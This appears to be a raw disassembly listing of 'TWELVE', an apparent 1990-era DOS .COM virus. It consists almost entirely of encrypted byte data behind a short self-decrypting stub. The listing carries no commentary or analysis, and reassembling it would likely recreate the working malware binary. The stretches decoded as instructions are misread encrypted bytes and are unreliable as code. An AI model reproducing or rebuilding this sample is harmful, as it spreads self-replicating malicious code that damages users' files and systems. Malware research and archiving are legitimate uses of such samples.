  
PAGE  59,132
  
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл								         лл
;лл			        TWELVE				         лл
;лл								         лл
;лл      Created:   26-Apr-90					         лл
;лл      Version:						         лл
;лл      Passes:    5	       Analysis Options on: H		         лл
;лл								         лл
;лл								         лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
  
data_1e		equ	3366h			; (7415:3366=0)
data_2e		equ	7EF7h			; (7415:7EF7=0)
data_3e		equ	8C8Dh			; (7415:8C8D=0)
  
seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a
  
  
		org	100h
  
twelve		proc	far
  
start:
;*		jmp	$+4h			;*
		db	0E9h, 1, 0
		db	21h, 46h, 0B8h, 9Bh, 1Ah, 0BFh
		db	2Bh, 1, 90h, 4Bh, 0F8h, 0FCh
		db	0B9h, 71h, 5, 31h, 0Dh, 2Bh
		db	0DAh, 33h, 0D9h, 2Bh, 0D9h, 2Bh
		db	0D8h, 90h, 33h, 0D1h, 31h, 5
		db	46h, 43h, 0F8h, 40h, 90h, 47h
		db	0E2h, 0E9h, 40h, 40h, 61h, 1Fh
		db	6Eh, 3, 0C9h, 82h, 6Fh, 36h
		db	0D1h, 5Ah, 8Bh, 33h, 0C3h, 6Bh
		db	0D5h, 0D7h, 85h, 0CCh, 17h, 4Eh
		db	0E9h, 0F3h, 7Ch, 0B1h, 29h, 52h
		db	0FBh, 0FFh, 74h, 0B5h, 2Bh, 56h
		db	0F9h, 0F3h, 64h, 0A9h, 0Dh, 32h
		db	9Bh, 97h, 1Ch, 0D5h, 7Fh, 64h
		db	82h, 7Bh, 0ADh, 94h, 1Eh, 61h
		db	6Ch, 29h, 7Dh, 0F3h, 4Ah, 0F7h
		db	0F4h, 4Ah, 0FEh, 0FFh, 1, 0
		db	51h, 7Ch, 7, 47h, 0DDh, 22h
		db	0CCh, 0EFh, 0D5h, 1Bh, 0F2h, 81h
		db	0DEh, 36h, 5Fh, 0D1h, 0D3h, 63h
		db	0FAh, 1Eh, 0CCh, 23h, 0E1h, 76h
		db	0ABh, 0Bh, 39h, 5Ch, 0DEh, 0B9h
		db	3, 0F4h, 7Eh, 21h, 74h, 31h
		db	0Ch, 0EFh, 59h, 9, 0D9h, 37h
		db	12h, 44h, 92h, 18h, 30h, 12h
		db	0ABh, 16h, 14h, 4Ch, 0BAh, 6Eh
		db	2Bh, 6Fh, 0F5h, 5Bh, 4Ch, 0F3h
		db	7Dh, 0Dh, 53h, 4Ah, 0F1h, 0F7h
		db	59h, 5Dh, 98h, 2, 0Fh, 29h
		db	8Bh, 0D0h, 5Ch, 0ADh, 29h, 54h
		db	3, 52h, 13h, 76h, 0D5h, 58h
		db	13h, 4, 0D7h, 63h, 39h, 74h
		db	8Bh, 7, 0FDh, 8Ah, 0F9h, 1Ah
		db	0D1h, 0F5h, 39h, 0EDh, 0BBh, 0C9h
		db	63h, 8Dh, 0B9h, 97h, 1Eh, 6Dh
		db	0BBh, 14h, 0EBh, 67h, 14h, 50h
		db	34h, 93h, 41h, 0D3h, 0D6h, 87h
		db	0FEh, 0CBh, 0F5h, 87h, 0F9h, 55h
		db	16h, 7, 39h, 49h, 0F5h, 0F3h
		db	0B6h, 0F0h, 64h, 0A5h, 21h, 57h
		db	28h, 2Ch, 0A9h, 0DCh, 6Dh, 8Fh
		db	7Fh, 5Eh, 0ABh, 21h, 66h, 1Ch
		db	6Ch, 35h, 63h, 0F7h, 4Ch, 0F5h
		db	0FDh, 0Ch, 59h, 78h, 6, 43h
		db	0BBh, 78h, 3Bh, 6Eh, 2Fh, 0B2h
		db	15h, 0AEh, 16h, 13h, 0D0h, 3Eh
		db	0F6h, 15h, 85h, 0DBh, 0A1h, 5Ch
		db	20h, 0CEh, 9Eh, 0F0h, 1Eh, 68h
		db	39h, 78h, 79h, 8, 0FDh, 0D7h
		db	0EAh, 0CBh, 0EAh, 87h, 0, 6Eh
		db	51h, 28h, 0D5h, 0D7h, 2Dh, 0A7h
		db	38h, 5Ch, 61h, 28h, 0D5h, 0DDh
		db	0A1h, 0Dh, 66h, 91h, 1Fh, 0A5h
		db	74h, 31h, 0Ah, 0F3h, 51h, 55h
		db	0C1h, 0F3h, 80h, 0Dh, 0ABh, 4Bh
		db	0EDh, 0ACh, 66h, 45h, 14h, 55h
		db	34h, 93h, 50h, 0BEh, 14h, 0DDh
		db	63h, 2Fh, 94h, 0D0h, 6Ch, 0Eh
		db	13h, 0Ch, 7Eh, 21h, 74h, 31h
		db	5Ch, 0FFh, 30h, 0D2h, 4Dh, 0F5h
		db	0C8h, 78h, 3Bh, 6Eh, 2Fh, 72h
		db	0D5h, 1Ah, 0F4h, 0A0h, 0D9h, 36h
		db	0B5h, 0D2h, 19h, 5Ch, 0Dh, 6Bh
		db	0EDh, 0B8h, 20h, 0D2h, 7Ch, 0B9h
		db	0Dh, 7Ah, 0ABh, 5, 49h, 0CCh
		db	4Ch, 0F4h, 0F5h, 78h, 3Bh, 6Eh
		db	2Fh, 83h, 12h, 0DDh, 33h, 0D8h
		db	41h, 31h, 0, 0D8h, 0E7h, 0D8h
		db	11h, 14h, 26h, 0ADh, 0DAh, 0E2h
		db	39h, 8Fh, 35h, 0F1h, 0BFh, 33h
		db	0CCh, 7Bh, 0F5h, 0F7h, 4Fh, 0F3h
		db	0EDh, 22h, 0CCh, 0A0h, 0D6h, 3Eh
		db	0C0h, 0D2h, 11h, 55h, 4, 1Fh
		db	0Ah, 83h, 1Dh, 82h, 21h, 6Ah
		db	45h, 0F0h, 0F5h, 3Bh, 15h, 9Ah
		db	79h, 6Bh, 0FDh, 72h, 34h, 2Ah
		db	0F1h, 3Fh, 89h, 0, 13h, 5Fh
		db	0E1h, 62h, 7Ah, 3Ch, 9Eh, 53h
		db	0Fh, 88h, 98h, 23h, 0B9h, 5Eh
		db	0CCh, 0DCh, 3Ch, 3Fh, 0Bh, 80h
		db	0A3h, 3, 31h, 3Eh, 0D4h, 0D7h
		db	0F4h, 3Bh, 3Dh, 0B0h, 0ABh, 1Fh
		db	21h, 34h, 17h, 28h, 0D5h, 1Fh
		db	0F9h, 0FEh, 18h, 0D7h, 19h, 1Bh
		db	90h, 95h, 5, 23h, 6Ah, 0FDh
		db	71h, 0F0h, 0F5h, 0AAh, 31h, 0FFh
		db	7Ch, 32h, 0D2h, 0F6h, 7Ch, 7Fh
		db	0ECh, 0EFh, 21h, 83h, 6Dh, 0EDh
		db	15h, 98h, 5Bh, 0EFh, 0D1h, 2Dh
		db	0A2h, 51h, 0FFh, 9Ah, 69h, 0EBh
		db	0EDh, 3Fh, 1Ch, 95h, 0Bh, 3Fh
		db	0FEh, 7Dh, 12h, 2Eh, 0F6h, 3Bh
		db	25h, 0A8h, 33h, 6Eh, 2Eh, 0F4h
		db	0D5h, 10h, 93h, 35h, 0DAh, 0DFh
		db	35h, 0C7h, 0D4h, 5Eh, 0ABh, 3Dh
		db	6Ch, 2Ch, 0FDh, 0F3h, 39h, 0D1h
		db	14h, 0B5h, 1Bh, 7Ch, 0FDh, 3Fh
		db	0B9h, 53h, 0F4h, 0F2h, 6Ch, 2Ch
		db	0FDh, 93h, 59h, 20h, 0CAh, 6Bh
		db	9Dh, 26h, 9Fh, 93h, 1Eh, 0E1h
		db	79h, 5Fh, 17h, 94h, 2Bh, 0D6h
		db	0F5h, 4, 51h, 78h, 0BBh, 11h
		db	0D6h, 34h, 0BAh, 5Dh, 7Eh, 0BDh
		db	1, 6Eh, 4, 65h, 0D6h, 0ECh
		db	1Ah, 0A7h, 0D4h, 65h, 0DDh, 0D3h
		db	3Dh, 61h, 0D5h, 38h, 0, 23h
		db	66h, 85h, 19h, 0A1h, 7Eh, 0Dh
		db	31h, 5Eh, 0E5h, 0CAh, 0F5h, 76h
		db	33h, 0A4h, 0EDh, 23h, 0D1h, 0AEh
		db	0D3h, 18h, 16h, 99h, 0CBh, 0EDh
		db	0B8h, 4Ch, 4Fh, 0FEh, 86h, 12h
		db	0E9h, 0E9h, 0EDh, 0A3h, 0Ah, 15h
		db	39h, 1Ah, 66h, 0DCh, 0C0h, 1Fh
		db	0F1h, 3Bh, 96h, 0E5h, 0F1h, 57h
		db	0EDh, 91h, 6Ch, 0D7h, 0D5h, 69h
		db	0DDh, 0DFh, 10h, 0F2h, 0A7h, 0D8h
		db	61h, 93h, 54h, 0ECh, 0EDh, 3Fh
		db	21h, 0A8h, 23h, 72h, 3Fh, 6Ch
		db	0FDh, 3Eh, 0D4h, 7Ch, 0A3h, 9
		db	66h, 0A1h, 15h, 12h, 74h, 77h
		db	6Ah, 12h, 54h, 80h, 9Dh, 2Bh
		db	94h, 0C0h, 58h, 0B2h, 59h, 0D1h
		db	20h, 0D2h, 4Dh, 0F6h, 0B6h, 78h
		db	0B3h, 9, 76h, 25h, 74h, 35h
		db	54h, 0F3h, 20h, 0CEh, 0F3h, 58h
		db	83h, 2Bh, 5Bh, 8Dh, 23h, 6Bh
		db	0C7h, 1Eh, 0F4h, 0C8h, 8Ch, 0E0h
		db	2Dh, 0DCh, 36h, 0C0h, 27h, 0C4h
		db	3, 78h, 18h, 40h, 0FDh, 0F2h
		db	0A2h, 1Fh, 5Bh, 0F3h, 2Eh, 64h
		db	0A3h, 0E3h, 94h, 0E6h, 29h, 92h
		db	9Ch, 0DEh, 55h, 81h, 0C4h, 0DEh
		db	0C4h, 0DAh, 3Ch, 26h, 64h, 0BDh
		db	5, 76h, 14h, 0F4h, 0FDh, 0AEh
		db	0BCh, 0C0h, 35h, 0Eh, 26h, 23h
		db	0B4h, 2Ch, 0B5h, 83h, 16h, 3Fh
		db	0Ch, 2Ch, 58h, 0Fh, 0A8h, 2Ah
		db	0DEh, 7, 5Eh, 12h
loc_1:
		cmp	al,0Fh
		mov	bp,7E24h
		aas				; Ascii adjust
		lodsw				; String [si] to ax
		mov	bl,2Ah			; '*'
		cld				; Clear direction
		mov	bx,7E1Fh
		pop	es
		push	es
		push	di
		db	2Eh, 55h, 0EDh, 93h, 7Dh, 49h
		db	6Ah, 18h, 5Fh, 0BCh, 0DBh, 75h
		db	0AEh, 0D1h, 73h, 0E6h, 1Eh, 2Ch
		db	0BEh, 78h, 29h, 0A7h, 0A3h
		db	78h
  
locloop_2:
		mov	bh,ch
		add	dh,ds:data_2e[si]	; (7415:7EF7=0)
		adc	word ptr [bx],41h
		esc	7,cl			; coprocessor escape
		pop	cx
		xchg	ax,dx
		rcr	cl,1			; Rotate thru carry
		rcl	byte ptr [di-68h],cl	; Rotate thru carry
		esc	2,ds:data_3e[di]	; (7415:8C8D=0) coprocessor escape
		sbb	al,ds:data_1e[bx+si]	; (7415:3366=0)
loc_3:
		mov	bp,7EA5h
		adc	word ptr [bx+di],0CD5Fh
		sti				; Enable interrupts
		ja	loc_1			; Jump if above
		db	0F2h, 0D3h, 0Bh, 7Bh, 0AAh, 0E8h
		db	0B3h
		db	4Bh, 4Dh
loc_5:
		esc	3,[bp+si+4E0Eh]		; coprocessor escape
		movsb				; Mov [si] to es:[di]
		push	ds
		adc	[bp+0Bh],al
		popf				; Pop flags
		push	si
		add	al,dl
		db	6Fh, 0F3h, 0Fh, 54h, 0F9h, 0F3h
		db	76h, 0B9h, 11h, 0DEh, 90h, 0F7h
		db	56h, 0F7h, 0EDh
loc_6:
		loopz	locloop_2		; Loop if zf=1, cx>0
  
;*		jo	loc_4			;*Jump if overflow=1
		db	70h, 0D3h
		xlat [bx]			; al=[al+[bx]] table
		jbe	loc_5			; Jump if below or =
		esc	5,[si]			; coprocessor escape
		test	cx,sp
		dec	ax
		adc	al,49h			; 'I'
		int	0BDh
		push	di
		in	ax,dx			; port 0, DMA-1 bas&add ch 0
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		call	$-4A7Fh
		sbb	ax,5E05h
		push	bp
		jl	loc_3			; Jump if <
		das				; Decimal adjust
		dec	si
;*		jmp	short loc_7		;*(04BD)
		db	0EBh, 0EDh
		db	18h, 0D3h, 49h, 36h, 95h, 9Dh
		db	14h, 0DBh, 71h, 36h, 99h, 95h
		db	68h, 0B5h, 0F0h, 70h, 30h, 4Ah
		db	0DCh, 0F4h, 4Bh, 66h, 0E5h, 44h
		db	82h, 0F0h, 0Fh, 9, 0B5h, 0A6h
		db	7Fh, 0DCh, 0D6h, 0E4h, 0DAh, 0E6h
		db	2, 0EEh, 6, 0F6h, 0Bh, 0FEh
		db	0Eh, 0FEh
		db	9
loc_8:
		jge	loc_6			; Jump if > or =
		stosb				; Store al to es:[di]
		mov	al,0B3h
		mov	ch,0Dh
		mov	ax,1D6Dh
		sbb	dh,al
		cmc				; Complement carry
		hlt				; Halt processor
		div	al			; al, ah rem = ax/reg
		jmp	short loc_8		; (04FD)
		db	0E4h, 12h, 1Fh, 16h, 1Eh, 12h
		db	11h, 1Eh, 10h, 11h, 1Bh, 15h
		db	5, 11h, 0FFh, 0EDh, 0F9h, 0F1h
		db	0E3h, 0F5h, 0EDh, 0F1h, 0E7h, 0FEh
		db	0E1h, 0F2h, 0E8h, 0F6h, 0EBh, 0F2h
		db	0F2h, 0EEh, 0CDh, 0D2h, 0F4h, 0D6h
		db	0F7h, 0D2h, 0FEh, 0DEh, 0F9h, 58h
		db	9Bh, 3Fh, 5Eh, 95h, 7, 64h
		db	13h, 72h, 1Ah, 41h, 0F6h, 1Bh
		db	0DCh, 0FFh, 49h, 0B3h, 4Ch, 1Bh
		db	0F1h, 78h, 3Bh, 6Eh, 7, 4Eh
		db	96h, 5Ah, 0B4h, 0Fh, 0CDh, 14h
		db	0D3h, 7Bh, 1Eh, 0D1h, 7Fh, 18h
		db	13h, 6Eh, 2, 45h, 0F6h, 1Fh
		db	0F6h, 0F3h, 0A5h, 62h, 3Eh, 0C2h
		db	0F0h, 0C6h, 0F8h, 0B3h, 0AAh, 0Dh
		db	15h, 10h, 61h, 0D7h, 18h, 3Ah
		db	0DCh, 0DFh, 0F7h, 0FDh, 96h, 98h
		db	98h, 0D3h, 0BDh, 0AEh, 0B9h, 0BBh
		db	0C8h, 0B6h, 0B2h, 0B2h, 0AFh, 0D1h
		db	0BEh, 0BCh, 0B8h, 0F7h, 0F5h, 0BEh
		db	0EDh, 0EFh, 0EDh, 13h, 14h, 16h
		db	14h, 12h, 1Ch, 1Eh, 1Ch, 12h
		db	14h, 16h, 14h, 12h, 0ECh, 0EFh
		db	0EDh, 0F3h, 0F5h, 0F7h, 0F5h, 0F3h
		db	0FDh, 0FFh, 0FDh, 0F3h, 0F5h, 0F7h
		db	0F5h, 0F3h, 0EDh, 0EFh, 0EDh, 0D3h
		db	0D5h, 0D7h, 0D5h, 0D3h, 0DDh, 0DFh
		db	0DDh, 0D3h, 0D5h, 0D7h, 0D5h, 0D3h
		db	0EDh, 0EFh, 0EDh, 0F3h, 0F5h, 0F4h
		db	0CAh, 0CCh, 0C2h, 0C0h, 0C2h, 0CCh
		db	0CAh, 0C8h, 0B6h, 0BCh, 0A0h, 0ECh
		db	0E3h, 93h, 95h, 97h, 29h, 5Fh
		db	0B6h, 9Fh, 0BDh, 58h, 0Fh, 0Dh
		db	81h, 97h, 0EDh, 0EFh, 0EDh, 0B2h
		db	0B2h, 0B6h, 0A7h, 0DDh, 0BEh, 0B0h
		db	0B0h, 0F3h, 0F5h, 0BAh, 0F5h, 0F3h
		db	0EDh, 0EFh, 0EDh
  
twelve		endp
  
seg_a		ends
  
  
  
		end	start

